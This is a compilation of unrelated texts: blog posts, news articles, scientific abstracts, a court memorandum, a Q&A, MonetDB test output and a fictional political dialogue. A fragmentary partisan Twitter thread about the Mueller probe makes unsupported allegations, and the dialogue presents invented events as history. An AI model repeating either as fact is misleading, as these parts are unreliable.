William Powers wrote that 75 page essay, and William Powers is now turning that essay into a full-length book that will be published sometime in 2010. NOT Joan Shorestein. See what happens when we SCREEN too fast and do not pay attention to details! Sir, go slowly.
When you said:
“Ironically, I read this on a computer on an airplane last night but it still remains amongst the best things I’’ve ever read on the difference between paper and screen reading.”
And yes, it is the best thing out there on all this. I have a feeling the book will go even futher in making the case. But slow down, sir, READING is READING, Screening is screening. Agree or disagree?
To see a dictionart def of screening, in the new sense, see UrbanDictionary dot com under “screening”
get back to me at danbloom at gmail dot com. I am in Taiwan and would love to chat with YOu and the wembaster of this site. Emailme!
All in good fun, Richard. I know why you wrote the essay was by Joan Shorenstein, and it’s easy to make that quik mistake while screening, because, yes, the paper was published by the Joan Shorenstien Center at Harvard, named after her, same rich woman, but Bill Powers is the author, as I am sure you meant to say…..I make typos and goofs all the time, so i am not criticizing at all….my mistake are even worse! DANNY
Richard
on the subject of the future, big troubles ahead, re climate of course.
Hamish MacDonald in Scotland has written powerful new novel about this climate chaos in UK in future titled INFINITUDE. i can send you pdf files if you wish. 188 pages. powerful book. he is next Douglas Adams of UK.
Reading things too past is quickly becoming a problem. A month ago I missed a big dinner because I was reading an email so fast that I didn’t see the new PS at the bottom. I was waiting in one place for an hour + while everyone else was somewhere else waiting for me. Strangely nobody had a cell phone switched on either so we never connected. |
Price elasticity of demand and/or the responsiveness of the public's demand for mental health services as a function of their net price are estimated after insurance benefits are taken into account. By using demand elasticity estimates, critical market characteristics can be identified and explained and market behavior can be predicted. There is a need by lawmakers, insurance companies, unions and professional associations involved in the delivery of health care for having good estimates of mental health service price elasticities as a guide for public policy on health insurance, and to have the information for a comparison of elasticities for mental health services and other health services. The study uses standard econometric methods (arc and point procedures) to estimate elasticities. These methods are applied as secondary analytic techniques to existing data from such sources as insurance company records of benefits and services demanded and standard surveys of hospital and other medical costs. Particular attention is paid to moderating variables, such as sociceconomic indicators, demographics, and locational differences. |
IRS Budget Talks: Will They Increase or Decrease
President Obama’s proposed budget for 2012 includes an increase in funding for the Internal Revenue Service enforcement efforts. Though Republicans talk of decreasing the IRS budget, the President believes that increasing the enforcement efforts will bring in additional revenue and assist in closing the deficit.
Turns out, IRS agents make good on the investment, collecting $3 to $4 for every greenback spent tracking down money owed to the government.
Republicans however do not agree with the plan and would like to potentially cut the IRS budget.
The Republican spending plan for the rest of the fiscal year would strip the IRS of $600 million in funding — including $285 million from the agency’s enforcement budget. In addition to their fervor to cut spending, some Republicans want to starve the IRS of resources it needs to implement last year’s health care reform law.
The uncertainty is looming with the discussion falling on completely separate platforms. There is no way to determine at this time which direction the budget will fall.
Over the last decade, the agency has sharply increased the number of audits, liens and property seizures it carries out. The IRS believes that such enforcement results in additional gains as more Americans pay their taxes out of fear of an audit.
If Obama’s budget were to make it through Congress, the IRS estimates that the increase in its enforcement budget would boost general revenue by more than $1.3 billion annually by 2014.
Republicans are arguing that the return rates are not checked and that the idea that increased enforcement will automatically increase revenue is not reliable. All of this discussion about the budget is great but “what about the taxpayer”? We are left in fear that either the budget will be increased and the boogie man will come knocking on our door or the budget will be decreased and jobs will be lost.
McKenzie says the effect is very real, because in the “dark recesses of every American mind” exists a healthy fear of an IRS audit. |
Main menu
Tag Archives: photography
Post navigation
Dad and I were out and about last weekend, glorious golden winter sunlight, sun low, low, low in the skies now (sunset is now well before 4pm as we move into winter, and the longest night/shortest day is still weeks away). From the top of the Tak Me Doon Road between the Carron Valley and Kilsyth we got these views looking down, the last of the sunlight warming high ground on one side, the other in shadows because of the low sun, the temperature differential creating beautiful, soft, ephemeral mists, but not actually at ground level, hovering a bit higher up, like a blanket of light mist draped over the valley below:
I couldn’t resist this – seen in the last half hour or so of the short daylight, this bare, winter tree silhouetted against the mist, which was turning this beautiful warm copper colour as the sun rapidly declined in the east:
A little earlier we had been round the back of the Campsie Hills and past the Carron Valley reservoir – again the mist rising in the gap between weak winter sunlight on one side and shadows on the other, and again hovering not at ground (or in this case water) level but several feet above it. Utterly gorgeous to take in; while I’m glad some photos came out I’ve got to say they don’t really do justice to how it looked to the naked eye. To say nothing of the feel of it – peaceful, very, very quiet, hardly any other cars passing on the rural road, no town noises, no wind that day, only the sound from some waterfowl, the amber winter sunlight, the long, long shadows and that soft silence, the world screened out by the hills around us:
And one last one, from earlier in the afternoon, from the top of the Crow Road on the Campsie Hills, looking west down into the valley below – all this just a short car ride from the busiest city in Scotland…
Been sorting out and uploading some more shots I took on a long (if somewhat chilly) winter photo-walk around Edinburgh at night recently – with the sun being down not long after four in the afternoon it certainly makes it easier to take dusk and night shots without having to wander round town with camera and tripod late in the evening. This is the Ensign Ewart, a centuries old pub named for the soldier from the Scots Greys who took an Eagle standard from one of the French regiments during the Battle of Waterloo. It is also the highest pub in the city, being right at the top of the Royal Mile, yards from the Castle Esplanade (where Ewart is interred under a large memorial):
From the entrance to the Castle Esplanade, looking down right from the start of the Royal Mile, which runs down from the Castle along the spine of the steep volcanic ridge the Old Town is built upon, to the Palace of Holyrood at the bottom end. You can see the 19th century attraction of the Camera Obscura on the right, still a big draw with tourists today
And there’s the Outlook Tower of the Camera Oscura on Castlehill, quite a prominent landmark:
A view from high up in the Old Town looking down and across the Georgian-era New Town – in the upper centre you can see the green dome of the Royal Society of Edinburgh and in the distance the Firth of Forth, with a moored oil rig near one of the yards on the Fife side of the river (click to see the bigger versions available on Flickr):
The distinctive Ramsay Garden block of very expensive apartments, right by the edge of the Castle Esplanade, high up on the ridge of the Old Town, a mixture of Scots Baronial architecture with some more unusual additions. This is the view from the Esplanade at dusk, the front of the structure is a major landmark on the Old Town’s steep-sided facade as viewed from down below in the New Town:
Down in the Grassmarket, this is the French Connection, a Scottish-French food takeaway – from the looks of the second picture the bloke inside had spotted me lining up my shot!
A little late night art-browsing for this couple on Victoria Street:
Boswell’s Court at the top of the Royal Mile, named for Doctor Boswell who lived there, a 17th century group of structures yards from the Castle, although much modified in the Victorian era. Doctor Boswell’s more famous nephew, James Boswell, biographer of Samuel Johnston, reputedly dined with the grand man of letters here. It is now home to the Witchery, a posh restaurant and supposedly the most haunted dining place in the city.
And some views of Edinburgh Castle from the Esplanade, just a little after the winter sun had set, still a tiny glimmer of light in the western sky behind the Castle – was much darker to the naked eye, but more obvious in a long exposure pulling out as much light as the camera could soak up:
And the Castle gates, now closed for the night, guarded by the stone sculptures of two of Scotland’s greatest historic heroes, Sir William Wallace and Robert the Bruce, King of Scots, instrumental in the Wars of Independence back the late 1200s and early 1300s:
As autumn slips into winter the sun declines into the western sky earlier and earlier each evening now, setting a little after four in the afternoon now. So longer, colder, darker nights come in once more, but it’s not all bad when it gives you sunsets like this in Edinburgh – the sphinxes on the roof of the Royal Scottish Academy watching the sky becoming an Impressionist painting for just a few, brief moments, sun already gone but a last splash of colours across the western sky before the final fall of night:
A lot of people paused to watch as Edinburgh Castle was silhouetted by the dying of the light:
Despite the cold I went for a photo walk, and ended up spending over two hours taking night shots. Most still to be processed, but here are a few I took around Victoria Terrace:
The terrace is in the Old Town and overlooks Victoria Street, which curves down steeply from George IV Bridge down to the Grassmarket. There are several bars and restaurants at one end of the terrace – if you go into the front of those establishments from the Royal Mile or Johnston Terrace (behind the Castle) you seem to be going in at ground level, but because the Old Town is built on a steeply sloped volcanic ridge, when you come out their back door to the terrace you find yourself looking down over several more levels below. It’s a good place to see the different levels Edinburgh’s geology forced the architecture to take.
A lot of people don’t even notice the terrace above Victoria Street when they visit, quite easy to miss, but if you are in town it’s well worth a quick wander along, night or day, because it offers some unusual perspectives on the Old Town and views across the heart of the town, such as towards 17th century Heriot’s School, which here looks like the Edinburgh branch of Hogwart’s:
And now it is dark before I leave work each day I get views like this walking up the Royal Mile:
I regularly look through the archives on my Flickr photostream, and if I see any pics I shot on this day in previous years I will pick out a few and post them on Twitter. This one cropped up recently, taken in 2011. I was actually in the Dovecot Studios for Doors Open Day to take some photos and explore a bit – it’s an old public swimming pool, long closed and then converted into a great studio space for textile artists. Being an old pool it has a large glass roof which lets lots of natural light into the space where the swimming pool would once have been, which is obviously great for the artists. The upper walkway above what would have been the pool has been retained, and as I was taking some photos of the studio I noticed these two ladies at the other end of the walkway, and the way the natural light and shadows were around them was just begging for a monochrome shot, and as I had the camera out I zoomed in and took a quick pic.
I had almost forgotten I had taken this one until it came up when checking the Flickr archives, still quite pleased with it considering it was a quick shot taken on the spur of the moment just because the positions, light and shadow all seemed just right.
Made a new friend while walking down Middle Meadow Walk. Extremely busy at rush hour with folks walking home from work and legions of students from the nearby university, and here is this handsome wee chap darting around among the trees just a few feet from hundreds of people, most walking past without even noticing he was there. I love that little things like this can happen even just walking home from work in a bustling city:
It’s Edinburgh, it’s August and that means festival time – the city is bursting at the seams with the Edinburgh International Festival The Art Festival, The Edinburgh International Book Festival and, of course, the world’s largest arts festival, the Fringe.
And that means me taking a lot of photos, mostly on the Royal Mile, where the performers traditionally congregate to try to build an audience – with hundreds of shows you really have to fight for bums on seats at the Fringe, and a lot of shows often don’t get many while others sell out, so being noticed is all important, with many out in costumes and make-up, others perform small snippets from their shows on the wee stages set up along the Mile, and it’s just packed pretty much wall to wall on the section of the Mile along by the Cathedral. Happy hunting ground for taking pics, first year I have been using the new camera, which is still a bridge camera but with manual zoom and manual focus, which has been a real boon, much quicker and easier than relying on auto-focus, especially in a busy, chaotic street environment with lots of movement of folks.
As always click the pics to see the larger sized versions over on my Flickr photo stream.
That manual zoom and focus is proving damned handy for taking quick shots of moving performers, and the larger zoom means I can get in a bit closer for capturing this kind of shot:
Sometimes masks must be used to protect the innocent…
Plenty of singing on the Fringe too:
Not to mention dance:
And some enchanting smiles
Watched over by the Fringe Police! You picked the wrong festival to haul ass through, boy!
During the Edinburgh International Film Festival last week I saw a film called Cinema, Mon Amour, a documentary about a group trying to save an old cinema in Romania. Afterwards the Filmhouse very kindly gave us a short tour of the main projection booth – we had to be quiet and I couldn’t use the flash as another festival screening was going on below us (we could see it through the wee rectangular window in the booth). The pair of decades old cine projectors are named Kenneth and Sid – even in this bastion of arthouse and international film, the Carry On movies have influence!
Quite nostalgic for me to see these and hear them – the whirring sound of anaologue projectors is part of my childhood memories of cinema, and at home we had a Super 8mm cine camera as well as our 35mm still cameras, and we screened them quite often on long winter’s nights for the family. There’s something satisfying about old analogue tech like this, you can see it moving, see how it works. The Filmhouse must be one of the last cinemas in the city that retains the ability to show actual film prints as well as digital and properly trained projectionists. They were telling us about their skills, from being able to change from one projector to the other seamlessly mid-film, fixing broken celluloid to adjusting focus, ratio and even speed for different formats and eras (early films shot on hand-cranked cameras require a lot of skill to adjust the film speed, since their shooting rate varied as cameramen’s arms got tired. Lovely to see these magic lanterns which paint stories on a screen using nothing more than light…
I’m enjoying a few days off for my annual Edinburgh International Film Festival fun. Last night at the Traverse Theatre as part of the film fest they had an “in conversation” with French actor Dominique Pinon, who has appeared in a number of my favourite films over the years. One of those evening that reminds me one of the reason I love living here so much is that with our festivals everyone comes to Edinburgh at some point, writers, directors, actors, musicians, they all come here. I took a few photos with the new camera – sitting several rows up and back in a theatre so not the best place for taking photos, but out of the batch I shot a handful came out passably.
Walking around the annual Meadows Festival recently, beautifully bright, summer day, and I could hear old music drifting over the air. It was coming from this very handsome old HMV gramophone on a stall selling antiques:
Rather lovely thing to see and hear, especially in the park on a warm afternoon in the sun…
Gorgeous late spring blossoms near my home, hanging heavy on the bough:
The pavement nearby is now carpeted in a fine layer of fallen petals, for a few days of the years only. I couldn’t resist raising my hand to the branches and running my fingers along through the petals; it was like touching softest silk… |
FILED
NOT FOR PUBLICATION MAR 21 2016
MOLLY C. DWYER, CLERK
UNITED STATES COURT OF APPEALS U.S. COURT OF APPEALS
FOR THE NINTH CIRCUIT
UNITED STATES OF AMERICA, Nos. 15-10148
Nos. 15-10149
Plaintiff - Appellee,
D.C. Nos. 4:14-cr-01348-CKJ
v. 4:11-cr-03921-CKJ
MARTIN OMAR RAMIREZ-
BUSTAMANTE, a.k.a. Martin Omar MEMORANDUM*
Ramirez, a.k.a. Mario Rodriguez-Vasquez,
Defendant - Appellant.
Appeal from the United States District Court
for the District of Arizona
Cindy K. Jorgenson, District Judge, Presiding
Submitted March 15, 2016**
Before: GOODWIN, LEAVY, and CHRISTEN, Circuit Judges.
In these consolidated appeals, Martin Omar Ramirez-Bustamante appeals the
24-month sentence imposed following his guilty-plea conviction for reentry of a
removed alien, in violation of 8 U.S.C. § 1326, and the 21-month partially
*
This disposition is not appropriate for publication and is not precedent
except as provided by 9th Cir. R. 36-3.
**
The panel unanimously concludes this case is suitable for decision
without oral argument. See Fed. R. App. P. 34(a)(2).
consecutive sentence imposed upon revocation of supervised release. We have
jurisdiction under 28 U.S.C. § 1291, and we affirm.
Ramirez-Bustamante contends that the district court erred by imposing the
sentences to run partially consecutive, rather than fully concurrent. He argues that
the aggregate 36-month sentence is substantively unreasonable in light of his age,
military service, and reasons for reentering the United States. The district court did
not abuse its discretion in imposing Ramirez-Bustamante’s sentence. See Gall v.
United States, 552 U.S. 38, 51 (2007). The aggregate sentence is substantively
reasonable in light of the relevant 18 U.S.C. § 3553(a) sentencing factors and the
totality of the circumstances, including Ramirez-Bustamante’s criminal and
immigration history. See Gall, 552 U.S. at 51; United States v. Simtob, 485 F.3d
1058, 1062-63 (9th Cir. 2007); see also U.S.S.G. § 7B1.3(f) (recommending that a
revocation sentence run consecutively to any other term of imprisonment).
AFFIRMED.
2 15-10148 & 15-10149
|
Note: most entries are formatted as conversations. Characters appear in a number of entries, with many entries building on previous conversations. Profile of characters. You’ll catch on quickly. Thanks for your time and interest…and comments.
Matt: “You know what else I think caused people to say, ‘enough of Trump’?”
Jordan: “What’s that?”
Matt: “Actually two things…and both are fundamental to building long-term relationships with friends, business colleagues, constituents…in fact, building a relationship with anyone.”
Jordan: “Consistency is one fundamental for sure.”
Matt: “You’re right. And Trump was consistently inconsistent.”
Jordan: “His base might have found being consistently inconsistent as a positive attribute but few others did.”
Matt: “Rhetorical question, I know, ‘How do you develop a relationship with someone who’s all over the map?’ One day left, one day right, one day up, one day down…I mean, how do you work with such a person?”
Jordan: “Answer to your rhetorical question, ‘You can’t work with them. You can’t work with them because you don’t know where they’re going and sometimes even where they’ve been.’ Congress, White House Staff, agencies, business leaders, international leaders, and the public all got tired of ‘Trumpong.’”
Matt: “What did you call it, Trumpthong or Trumpong?”
Jordan: “That’s funny, Trumpthong. I don’t even want to think about that. Anyway, the word is Trumpong, which is what I call Trump’s version of strategic ping-pong. The never-ending back-and-forth. Change your position day-to-day, sometimes even during the same day. Then bounce back to the original position. Back-and-forth just like ping-pong.”
Matt: “I like that word, Trumpong. What do you think was the second reason for people starting to take back control?”
Jordan: “What I found annoying personally…and apparently so did a whole bunch of other people left and right…was Trump’s severe case of mythomania.”
Matt: “Mythomania? Is that yet another made-up word?”
Jordan: “No, mythomania is a real word. I learned about it from a great website, www.wordsmith.org. The site has a word of the day. Some words you’ve hear of, some words you haven’t. The site also includes the etymology of the word, which I always find interesting. Mythomania was a featured word fairly early in the Trump Administration…maybe late summer 2017. Anyway, if I recall correctly, the word has been around since the early 1900’s…long before the Donald.”
Matt: “Exactly what does it mean? Just what you think it should mean?”
Jordan: “Yep, an abnormal tendency to exaggerate or lie.”
Matt: “Great word, mythomania. I need to remember that.”
Jordan: “Well, am I close to what you were thinking about as the second reason for what triggered people to start taking back control?”
Matt: “I like your reason better than mine. I was focused more on events than a pattern of behavior. Your idea that the constant Trumpong mythomania apparently just started to wear out people.”
Jordan: “Not all at once, of course. Over time more and more people felt like the model for one of Evard Munch’s paintings. They just couldn’t take it anymore and wanted to scream.”
Matt: “So after the screaming, people decided to vote differently…in the 2018 mid-term elections Republicans lost more House and Senate seats than usual for mid-terms.”
Jordan: “And, behind the scenes, the long-time professionals in the federal agencies began to regain control. The professionals prevented a lot of potential damage that Trump appointees wanted to inflict.”
Matt: “Wasn’t that why Trump got elected? Change Washington, and especially some of the agencies?”
Jordan: “Until the Revenge Revolution, a lot of the public never understood fully the extent to which the professionals protected the role of the agencies. The professionals were the guardian of the public interests.”
Jordan: “True, but hard-core Trumpsters aren’t running the show any more. They got thrown out by the Revenge Revolution. I’m still convinced many of the hard-core Trumpsters were brainwashed. Their support of Trump’s policies was often contrary to their own best interests. The hard-core never seemed to understand the consequences of the proposed policies.”
Matt: “So over time…and actually it wasn’t that long…more and more people tire of Trump’s severe case of mythomania, there’s a larger than normal turnover of House and Senate seats, Trump gets taken out of office…and then we have the Revenge Revolution.”
Jordan: “I think we’ve created an abridged version of why people started to take back control…and then what happened as a result.”
Matt: “Each one of the sections could be a worth a couple of books…and 1-2 semester class or even a public lecture series.”
Jordan: “There you go, Matt. Writing and lecturing about the Revenge Revolution should keep you busy for the next 10-15 years, maybe longer.”
Matt: “What about the Revenge Revolution articles Greenie is writing. She seems to be trying to address some of the same issues?” |
stderr of test 'Dependencies` in directory 'sql/test/Dependencies` itself:
# 09:38:22 >
# 09:38:22 > "mserver5" "--debug=10" "--set" "gdk_nr_threads=0" "--set" "mapi_open=true" "--set" "mapi_port=38541" "--set" "mapi_usock=/var/tmp/mtest-6347/.s.monetdb.38541" "--set" "monet_prompt=" "--forcemito" "--set" "mal_listing=2" "--dbpath=/home/robin/MonetDB/PREFIX/var/MonetDB/mTests_sql_test_Dependencies" "--set" "mal_listing=0"
# 09:38:22 >
# builtin opt gdk_dbpath = /home/robin/MonetDB/PREFIX/var/monetdb5/dbfarm/demo
# builtin opt gdk_debug = 0
# builtin opt gdk_vmtrim = no
# builtin opt monet_prompt = >
# builtin opt monet_daemon = no
# builtin opt mapi_port = 50000
# builtin opt mapi_open = false
# builtin opt mapi_autosense = false
# builtin opt sql_optimizer = default_pipe
# builtin opt sql_debug = 0
# cmdline opt gdk_nr_threads = 0
# cmdline opt mapi_open = true
# cmdline opt mapi_port = 38541
# cmdline opt mapi_usock = /var/tmp/mtest-6347/.s.monetdb.38541
# cmdline opt monet_prompt =
# cmdline opt mal_listing = 2
# cmdline opt gdk_dbpath = /home/robin/MonetDB/PREFIX/var/MonetDB/mTests_sql_test_Dependencies
# cmdline opt mal_listing = 0
# cmdline opt gdk_debug = 536870922
# 09:38:22 >
# 09:38:22 > "/usr/bin/python2" "Dependencies.SQL.py" "Dependencies"
# 09:38:22 >
MAPI = (monetdb) /var/tmp/mtest-12303/.s.monetdb.31511
QUERY = DROP USER monetdb;
ERROR = !DROP USER: 'monetdb' owns a schema
CODE = M1M05
MAPI = (monetdb) /var/tmp/mtest-30274/.s.monetdb.37685
QUERY = DROP SCHEMA test;
ERROR = !DROP SCHEMA: unable to drop schema 'test' (there are database objects which depend on it)
CODE = 2BM37
MAPI = (monet_test) /var/tmp/mtest-15640/.s.monetdb.33152
QUERY = CREATE SCHEMA "test_2" AUTHORIZATION "public";
ERROR = !CREATE SCHEMA: insufficient privileges for user 'monet_test'
CODE = 42000
MAPI = (monet_test) /var/tmp/mtest-30274/.s.monetdb.37685
QUERY = DROP USER monetdb;
ERROR = !DROP USER: 'monetdb' owns a schema
CODE = M1M05
MAPI = (monetdb) /var/tmp/mtest-30274/.s.monetdb.37685
QUERY = CREATE INDEX id_age_index ON v1(id,age);
ERROR = !CREATE INDEX: cannot create index on view 'v1'
CODE = 42S02
MAPI = (monetdb) /var/tmp/mtest-30274/.s.monetdb.37685
QUERY = ALTER TABLE t1 DROP COLUMN id;
ERROR = !ALTER TABLE: cannot drop column 'id': there are database objects which depend on it
CODE = 2BM37
MAPI = (monetdb) /var/tmp/mtest-30274/.s.monetdb.37685
QUERY = ALTER TABLE v1 DROP COLUMN age;
ERROR = !ALTER TABLE: cannot drop column from VIEW 'v1'
CODE = 42000
MAPI = (monetdb) /var/tmp/mtest-30274/.s.monetdb.37685
QUERY = ALTER TABLE t2 ADD FOREIGN KEY(age_v1) REFERENCES v1(age);
ERROR = !CONSTRAINT FOREIGN KEY: could not find referenced PRIMARY KEY in table 'v1'
CODE = 42000
MAPI = (monetdb) /var/tmp/mtest-30274/.s.monetdb.37685
QUERY = DROP TABLE t1;
ERROR = !DROP TABLE: FOREIGN KEY t2.t2_id_t1_fkey depends on t1
CODE = 40000
MAPI = (monetdb) /var/tmp/mtest-30274/.s.monetdb.37685
QUERY = DROP VIEW v1;
ERROR = !DROP VIEW: cannot drop view 'v1', there are database objects which depend on it
CODE = 42000
MAPI = (monetdb) /var/tmp/mtest-30274/.s.monetdb.37685
QUERY = DROP TABLE t2;
ERROR = !DROP TABLE: unable to drop table t2 (there are database objects which depend on it)
CODE = 42000
MAPI = (monetdb) /var/tmp/mtest-30274/.s.monetdb.37685
QUERY = DROP FUNCTION f1;
ERROR = !DROP FUNCTION: there are database objects dependent on function f1;
CODE = 42000
MAPI = (monetdb) /var/tmp/mtest-30274/.s.monetdb.37685
QUERY = DROP INDEX id_age_index;
ERROR = !DROP INDEX: no such index 'id_age_index'
CODE = 42S12
MAPI = (monetdb) /var/tmp/mtest-30274/.s.monetdb.37685
QUERY = DROP VIEW v1;
ERROR = !DROP VIEW: cannot drop view 'v1', there are database objects which depend on it
CODE = 42000
MAPI = (monetdb) /var/tmp/mtest-30274/.s.monetdb.37685
QUERY = DROP TABLE t1;
ERROR = !DROP TABLE: unable to drop table t1 (there are database objects which depend on it)
CODE = 42000
MAPI = (monetdb) /var/tmp/mtest-30274/.s.monetdb.37685
QUERY = DROP function f1;
ERROR = !DROP FUNCTION: there are database objects dependent on function f1;
CODE = 42000
MAPI = (monetdb) /var/tmp/mtest-30274/.s.monetdb.37685
QUERY = DROP SCHEMA test_2;
ERROR = !DROP SCHEMA: name test_2 does not exist
CODE = 3F000
# 14:15:47 >
# 14:15:47 > "Done."
# 14:15:47 >
# 09:38:23 >
# 09:38:23 > "Done."
# 09:38:23 >
|
Inhibition of cathepsin L-like proteases by cathepsin V propeptide.
The N-terminal propeptide domains of several cathepsin L-like cysteine proteases have been shown to possess potent inhibitory activity. Here we report the first kinetic characterisation of the inhibition properties of the cathepsin V propeptide (CatV PP). Using a facile recombinant approach we demonstrate expression, purification and evaluation of the CatV PP. This propeptide was found to behave as a tight-binding inhibitor against CatV (K (i) 10.2 nm). It also functions as an inhibitor against other members of the CatL-like subclass (CatL, 9.8 nm; CatS, 10.7 nm; and CatK, 149 nm) and had no discernible effects upon the more distantly related CatB. |
Q:
How to set default currency type in Libre office
I am using LibreOffice 5.1.4.2 10m0(Build:2) on my Arch Linux. I would Like to set my default currency type to INR (English).
That is, Now I do this :
Right click --> Format Cells --> Currency --> Under "format" Section, Search for INR (English) and set it (Default is USD)--> OK
I would like to have lesser steps :
Right click --> Format Cells --> Currency --> OK
Is there any way I can achieve this ?
A:
The default currency can be set using the global language options. Go to Menu Tools -> Options -> Language Settings -> Languages, and select the appropriate currency from the default currency combobox:
|
The DIA reports that opposition in Syria is being supported by the west and predicted the rise of ISIL or #ISIS. It also warns about the development of a proxy with support from #Russia, China and #Iran.
The DIA reports that the opposition in Syria was driven by al Qaeda and other extremist Muslim groups: “the Salafist, the #MuslimBrotherhood, and AQI are the major forces driving the insurgency in Syria.” #ObamaKnew
As one source told me last month, Mueller brought up interviewing Trump during the late December meeting w/Trump’s lawyers, John Dowd and Jay Sekulow. Mueller deputy James Quarles, who oversees the White House portion of the ##TrumpRussia🇷🇺probe, also attended.🤗 2/
Trumps attorneys are reluctant to allow him to sit down for open-ended, face-to-face questioning w/o clear parameters. No attorney in their right mind would want a client like Trump to be interviewed by Team🇺🇸Mueller‼️3/
Did Thread Reader help you to today?
Support me! Become a 💎 Premium member ($20) and get exclusive features!
Too expensive? Choose your price, buy me a 🍺 beer or help for the ⚙️ server cost:
Donate with 😘 Paypal
or
Become a Patron 😍 on Patreon.com
Team🇺🇸Mueller is *grilling* WH officials on details of what TRUMP knew & did in the 18 days btwn @SallyQYates informing the WH that Misha🇷🇺Flynn was *susceptible to blackmail by #Russia* and Trump firing him‼️ 1/
Team🇺🇸Mueller has asked witnesses, including WH Counsel Don McGahn & others (Hicks, Reince, Spicey) who worked in the West Wing, to go through each day that Flynn remained as NSA & *describe in detail* what they knew was happening inside the WH as it related to Flynn.🤨2/
One goal is to determine if #Trump and/or top officials — PENCE, Reince, Spicey, McGahn etc — to COVER UP the info about #Flynn that Sally Yates conveyed to McGahn on Jan 26‼️🤔 3/
NOTE THEY ARENT REALLY TELLING US WHY HE RECUSED HIMSELF..🤔
⬇️⬇️politico.com/story/2017/12/…
A court spokeswoman confirmed to Politico that the case was reassigned after Judge Rudolph Contreras, an appointee of Obama, recused himself..🤔
Here is the last page of Cummings' letter (Twitter only allowed 4 photos in the 1st tweet).🙄
Full breakdown to follow in this thread.🤗 2/
A whistleblower contacted Cummings in June w/EXPLOSIVE allegations of #CORRUPTION by Flynn👉🏼communicated w/his fmr business partners DURING the inauguration about plan to partner w/#Russia🇷🇺to build nuclear reactors in OIL-SOAKED Saudi Arabia‼️ 3/
During his Senate testimony, #Comey admitted: “I asked a friend of mine to share the content of the memo with a reporter... I asked him to because I thought that might prompt the appointment of a special counsel.” (3/7)jwatch.us/pCqUv9
Did Thread Reader help you to today?
Support me! Become a 💎 Premium member ($20) and get exclusive features!
Too expensive? Choose your price, buy me a 🍺 beer or help for the ⚙️ server cost:
Donate with 😘 Paypal
or
Become a Patron 😍 on Patreon.com |
» Pak senators say 'war on terror' not in national interest, want troop deployment on Indian border
Pak senators say 'war on terror' not in national interest, want troop deployment on Indian border
Published: Wednesday, December 24, 2008, 12:17 [IST]
Subscribe to Oneindia News
Islamabad, Dec. 24 (ANI): Pakistani senators have called for review of Pakistan's role in the US supported 'war on terror', and also suggested redeployment of troops from western border to the eastern border of the country.
"Pakistan should immediately withdraw from the war on terror, as it is not in the national interest, The Dawn quoted Dr Muhammad Zahid, as saying.
Senators were assessing national security situation when they underlined the need for launching a worldwide diplomatic initiative to clarify India's baseless allegations over Pakistan's role in the Mumbai carnage.
The Pakistan Senate criticised the manner in which the United Nations put the ban on Jamaat-ud-Dawa, claiming that the action had been taken at the behest of India.
Leader of the Opposition in the Senate, Kamil Ali Agha, expressed his concern over the arrival of an Interpol team to Pakistan saying that the purpose of the visit was to implicate Pakistan in the Mumbai terrorist attacks.
He also claimed that the US was engaging Pakistan on its eastern border to achieve its own objectives and it might be harmful for the nation's sovereignty.
Rejecting the Indian theory of ten Pakistan terrorists arriving on a boat to launch attacks, a senator argued," How was it possible for a group of 10 to split and engage the entire security apparatus of a country for three days?"
Seeming dissatisfied with India's evidence sharing, Wasim Sajjad said, "Ajmal Kasab had been in India's custody for nearly one month. Why have the names of his companions not been disclosed?"
Abdul Rahim Mandokhel said that India was weaving a trap for Pakistan and a realistic approach was needed to handle the situation carefully. The government had shown weakness in its response to the Indian allegations. (ANI) |
JERUSALEM — Israeli Prime Minister Benjamin Netanyahu's frenetic politicking over the last week appears aimed at one thing: strengthening his ability to take on Iran.
Only days after announcing the surprise dissolution of his government and early elections, on Tuesday Netanyahu presented his compatriots with a second shocker: He cancelled elections and announced a strengthened parliamentary coalition, bolstered by unification with the opposition Kadima party.
Advertisement:
This new union means Netanyahu will control more than 90 seats in Israel’s 120-seat parliament, known as the Knesset. The new majority is unprecedented in modern times. Former army chief of staff and Kadima’s newly-elected leader, Shaul Mofaz, will join as deputy prime minister. The center-right Kadima party adds heft to Netanyahu's mandate at a time of urgently polemical debate in Israel over Iran's nuclear program.
Netanyahu’s political jockeying provoked an immediate and strong reaction in Israel.
Labor Party leader Shelly Yachimovitch, who will benefit politically if, as expected, she is now named opposition leader, said: "This ugly maneuver is going to be taught in universities for a long, long time."
Advertisement:
Israel’s Occupy-style protest movement, meanwhile, announced a series of demonstrations to call for political reform this coming weekend. The main question occupying Israel's punditry even after this second twist remains the same: Is Netanyahu acting to strengthen his hand if he decides to strike Iran before the American elections in November?
Ari Shavit, a top political analyst at the Israeli daily Ha'aretz, who is known for his contacts in circles close to Netanyahu, told GlobalPost that the prime minister has been intent on early elections for at least a few months, for one principal reason that will not please Washington.
"Netanyahu designed to have early elections in Israel so they preempt the American elections in November and give him time to bring the Iranian nuclear crisis to a climax in autumn, in the two months between the Israeli elections and the Americans'," he said.
Advertisement:
Netanyahu’s decision to then abandon early elections in favor of a broader coalition appears aimed at that same result. “Netanyahu suddenly understood that the Likud" — Netanyahu's party — "could easily split to the right, in which case, even if re-elected, he would not have the mandate he needs,” Shavit said. “Instead of an election preparing the ground for a confrontation, now he has unity preparing the ground for confrontation."
The Israeli leader has long argued that a pre-emptive strike on Iranian facilities may be the only way to prevent Iran from developing nuclear-weapons capability.
Advertisement:
But opposition from European leaders and US President Barack Obama, who supports a diplomatic approach, and from a growing chorus of former Israeli military commanders who argue that a unilateral strike would only delay, not halt, Iranian ambitions, have weakened the prime minister’s position.
Netanyahu's logic seems to hold that if Obama is re-elected in November, he will no longer have to worry about domestic politics and will be able to press Netanyahu on Iran and the question of peace talks with the Palestinians — an area Netanyahu is eager to keep out of the international spotlight.
"The Iranian reason remains Netanyahu's motivation," Shavit said. "The difference is that now the season is shortened. He does not have to wait until the election on Sept. 4 before bringing the Iranian issue to a head. He can act now."
Advertisement:
Chanan Kristal, a political analyst for Israel Radio, had a somewhat different take. He said that two possibilities exist that can explain Netanyahu's actions — but agreed that the move was driven by Iran.
"Either [Netanyahu] needs [new Deputy Prime Minister] Mofaz in his government in order to justify postponing any action against Iran, or he needs Mofaz inside so as to provide legitimacy for when he does attack Iran. Mofaz has so far come out against an attack, but it remains clear that those making the decision will be Netanyahu and Defense Minister [Ehud] Barak. For now, all bets are off."
Shavit warned that anyone interested in preventing a conflict with Iran, such as the United States, will need to act swiftly to find a political solution.
Advertisement:
"Otherwise there is a risk by the end of summer, we'll find ourselves in a dire situation," he said.
